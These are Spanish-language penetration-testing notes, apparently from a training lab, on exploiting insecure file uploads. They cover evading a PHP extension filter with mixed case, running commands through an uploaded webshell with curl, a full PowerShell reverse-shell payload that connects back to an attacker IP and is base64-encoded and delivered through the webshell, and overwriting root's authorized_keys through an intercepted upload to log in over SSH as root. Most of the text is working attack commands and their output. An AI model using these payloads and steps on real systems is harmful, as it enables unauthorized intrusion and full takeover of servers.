
Primero siempre cargamos archivo de prueba:

No nos permite subida de archivos php, por lo que podemos tratar de cambiar la extensión modificando a mayúsculas y minúsculas:

Una vez tengamos el archivo subido (webshell) y conozcamos la ruta de almacenamiento de archivos, podemos apuntar a el y ejecutar comandos:
kali@kali:~$ curl <http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=dir>
...
Directory of C:\\xampp\\htdocs\\meteor\\uploads
04/04/2022 06:23 AM <DIR> .
04/04/2022 06:23 AM <DIR> ..
04/04/2022 06:21 AM 328 simple-backdoor.pHP
04/04/2022 06:03 AM 15 test.txt
2 File(s) 343 bytes
2 Dir(s) 15,410,925,568 bytes free
...
Si estamos tratando de un Linux entablamos reverse shell con mkfifo o cualquier otro payload sencillo, en windows es algo mas complicado, pero podemos usar este payload, encodeandolo desde powershell previamente:
kali@kali:~$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
<https://aka.ms/powershell>
Type 'help' to get help.
PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.131",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS> $EncodedText =[Convert]::ToBase64String($Bytes)
PS> $EncodedText
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
PS> exit
Una vez tenemos el payload encodeado, nos ponemos en escucha en nuestro equipo y hacemos la peticion introduciendo el payload a través de la webshell:
curl <http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0>
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
Interceptamos la petición de subida de archivo con Burp subiéndole cualquier txt:

A continuación, podemos tratar de generar claves ssh e introducirlas en un archivo local de la máquina vícitma, modificando el texto del archivo y el destino desde la petición de Burp. En primer lugar, generamos el par de claves con ssh-keygen:
kali@kali:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): fileup
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in fileup
Your public key has been saved in fileup.pub
...
kali@kali:~$ cat fileup.pub > authorized_keys
Y seguidamente, copiamos el contenido del archivo authorized_keys que hemos generado, lo introducimos en el conenido del archivo de la petición de Burp, y también modificamos el filename por el archivo que vamos a sobreescribir, que es el archivo authorized_keys de algún usuario del sistema, como puede ser root:

Y por último tratar de conectarnos por ssh sin proporcionar contraseña:
kali@kali:~$ rm ~/.ssh/known_hosts
kali@kali:~$ ssh -p -i fileup [email protected]
The authenticity of host '[target.com]:2222 ([192.168.50.16]:22)' can't be established.
ED25519 key fingerprint is SHA256:R2JQNI3WJqpEehY2Iv9QdlMAoeB3jnPvjJqqfDZ3IXU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
root@76b77a6eae51:~#